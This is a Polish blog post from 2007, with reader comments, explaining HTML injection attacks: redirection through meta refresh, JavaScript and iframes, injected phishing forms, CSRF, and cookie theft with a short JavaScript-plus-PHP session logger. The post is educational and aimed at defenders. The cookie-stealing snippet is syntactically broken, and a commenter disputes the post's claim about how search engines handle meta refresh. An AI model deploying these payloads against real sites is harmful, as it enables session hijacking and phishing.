Niebezpieczeństwo HTML'a

Od dawna w Internecie przyjęło się, że ataki z rodziny HTML Injection są mało groźne i nie warto się nimi przejmować. Potwierdzeniem tego faktu jest ogromna liczba podatnych stron, w skład których wchodzą takie serwisy jak Onet, Wirtualna Polska, Gazeta.pl, a nawet YouTube.

Faktem decydującym o takim stanie rzeczy jest utożsamianie tych ataków z niegroźnymi napisami, obrazkami czy wyskakującymi komunikatami. Poniżej znajduje się kilka przykładów ukazujących co można uzyskać poprzez wykorzystanie ataków z rodziny wstrzyknięć kodu.

Rodzina ataków HTML Injection

Opis: Ataki z rodziny wstrzyknięć kodu HTML

Przejęcie domeny

Przejęcie domeny (ruchu) może nastąpić w momencie przekierowania wchodzących użytkowników pod inny adres. Można tego dokonać na kilka sposobów, korzystając z metatagu refresh, ramek lub JavaScript. Najgroźniejszą metodą jest przekierowanie wykorzystujące metatag refresh. Dzieje się tak ponieważ większość wyszukiwarek interpretuje to przekierowanie jako stałe bądź też tymczasowe (301 / 302). Może to skutkować podmianą adresu naszej strony w indeksie wyszukiwarki, czego rezultatem będzie zniknięcie jej z wyników wyszukiwania.

Rezultatem działania kodu JavaScript oraz ramek jest przekierowania ruchu pod inną domenę. W przypadku komercyjnych stron działanie takie może doprowadzić do przekierowania nieświadomych potencjalnych klientów na stronę konkurencji.

<meta http-equiv="refresh" content="0;url=http://www.inny-adres.pl/" />

Opis: Przekierowanie z użyciem metatagu refresh.

<script>
   location.href="http://www.wp.pl/";
</script>

Opis: Przekierowanie z użyciem JavaScript.

<iframe src="http://www.onet.pl" style="position:absolute; width:100%; height:100%; top:0px; left:0px;" />

Opis: Ramka zasłaniająca resztę strony.

Phishing

Jak podaje Wikipedia phishing to

... oszukańcze pozyskanie poufnej informacji osobistej ...

Jak wykorzystać to w kwestii HTML Injection? Z przykładowym wykorzystaniem można się zapoznać w notce Phishing w Pasażu Wirtualnej Polski. Jak można w niej zauważyć umiejętne wstrzyknięcie formularza logowania może umożliwić napastnikowi dostęp do poufnych danych użytkownika.

Wykorzystanie błędów aplikacji

Niemal każdego tygodnia Secunia informuje o wykryciu nowych błędów w przeglądarkach internetowych bądź też w dodatkach do nich. Błędów, które wyjątkowo zagrażają bezpieczeństwu użytkowników (ze względu na skalę używalności przeglądarek), a do tego są łatwe do wykonania – wystarczy tylko odpowiednio spreparowany kod HTML.

Łącząc błędy programów z podatnością na atak HTML Injection otrzymujemy możliwość dostępu do większej ilości internautów, a co za tym idzie do zwiększenia skutku ataku.

Przejęcie konta użytkownika

Przejęcia konta użytkownika bez konieczności logowania możliwe jest dzięki kradzieży pliku cookie. Niebezpieczeństwo tego ataku wynika z faktu przechowywania w ciastku identyfikatora sesji, dzięki któremu można powiązać użytkownika z jego kontem. W przypadku gdy agresor podmieni swój identyfikator sesji na identyfikator zalogowanego użytkownika zostanie zidentyfikowany jako właściciel danego konta.

<script type="text/javascript">
  document.write( "<img src='new.php?sesja=" document.cookie "' />" );
</script>

<?php
  file_put_contents( 'plik.txt', $_GET['sesja'] );
?>

Opis: Zestaw skryptów JavaScript oraz PHP umożliwiający kradzież plików cookie.

Wykonanie akcji z uprawieniami zalogowanego użytkownika

Nawet najbardziej wyrafinowane systemy zabezpieczenia kont użytkowników na nic się nie zdadzą jeśli aplikacja będzie podatna na CSRF. Zadaniem CSRF jest wykonanie określonej akcji z uprawnieniami zalogowanego użytkownika. Można to osiągnąć np. ładując dostępną tylko dla zalogowanych użytkownika stronę w ukrytej ramce, odwołując sie do niej poprzez AJAX lub np osadzić ją jako źródło obrazka.

Przykład działania ataku CSRF

Opis: Przykład działania ataku CSRF

Przedstawione przeze mnie przykłady nie wyczerpują możliwości ataków HTML Injection. Jedynym ich ogranicznikiem jest wyobraźnia atakującego i stopień podatności serwisu.

Na pytanie czy warto się zabezpieczyć niech każdy odpowie sam.

Komentarze

  1. Sauron napisał(a): #1

    8.08.2007 23:17

    Dobry, a nawet bardzo dobry art...
    Sporo przydatnych informacji i nie tylko... Czy mi się wydaje czy, podobny art o XSS już kiedyś istniał?

    P.S.
    (Do tej ramki z kodem daj highlight_string. Lepiej będzie się czytać. :-))

  2. Sauron napisał(a): #2

    8.08.2007 23:23

    yyy ;] Nie highlight_string bo to jest do php. ;] Więc lepiej dać geshi :-)

  3. Michał `Bełdzio` Ławicki napisał(a): #3

    9.08.2007 09:22

    @Sauron kiedyś pisałem o XSS, ale tamten art z perspektywy dnia dzisiejszego jest do bani ;-)

    Geshi postaram się dodać jeszcze dziś :)

  4. jaconon napisał(a): #4

    9.08.2007 18:55

    Artykuł dobrze przedstawia zagadniejnie jakim jest HTML injection, brawo Bełdzio.

  5. Marcin (Ktos) napisał(a): #5

    11.08.2007 19:10

    Czy warto się zabezpieczyć to pytanie na które łatwo odpowiedzieć. Pytanie jest jednak inne, na które odpowiedź jest trudna - jak się zabezpieczyć? Usuwać wszystkie znaczniki poza określonymi? A jeżeli dajemy użytkownikom prawa do tworzenia własnych szablonów?

    Ostatnio (no, na początku zeszłego miesiąca) Allegro (oraz eBay) dostały eksperymentem w którym została bardzo ładnie wypozycjonowana warstwa która przysłoniła oryginalny przycisk licytacji prowadziła do strony phishingowej (http://www.webaudit.pl/blog/2007/bojmy-sie-css/). I jak się zabezpieczyć przed tym? Usuwać position: ze wszystkich CSS, nawet tych "inline"?

    Pewną, dobrą całkiem, metodą na pozbycie się zagrożeń związanych z możliwością umieszczenia kodu HTML na stronie jest skorzystanie z jakiegoś popularnego metajęzyka - Textile czy BBCode na przykład. Gdzie jednak może to być zarówno zaletą, jak i wadą, bo nie daje tak bogatych możliwości formatowania treści - aczkolwiek na przykład do komentarzy na blogu wystarczy.

  6. Elf napisał(a): #6

    15.08.2007 00:17

    Właśnie dopiero co przeczytałem inny artykuł o XSS i CSRF który uświadomił mi wagę tych zagrożeń. Dla zainteresowanych PHP Solutions 02/06.

    Oczywiście, textile i BBcode są niezłym zabezpieczeniem, bo są interpretowane przez skrypt. Dają małe możliwości? Można zainwestować w rozwój własnego języka prezentacji treści, albo narzędzie WYSIWYG do tworzenie stron aukcyjnych.

  7. mkane napisał(a): #7

    26.08.2007 00:12

    Bełdzio jak to Ci pokazałem na przykładach meta refresh, przez wyszukiwarki, nie jest traktowany jako 301/302.

  8. Michał `Bełdzio` Ławicki napisał(a): #8

    26.08.2007 13:09

    Hmmm widocznie oparłem się na jakiś starych źródłach :-) Dzięki za sprostowanie :-)

  9. Michał `Bełdzio` Ławicki napisał(a): #9

    27.08.2007 12:36

    Źródła okazały się nie takie stare ;-) Zainteresowanych odsyłam do tematu na PiO

Skomentuj

Dozwolone tagi: a, strong, em, code, blockquote

Nick (wymagany)

E-mail (na potrzeby graviatar'a):

Jesteś botem?

Komentarz: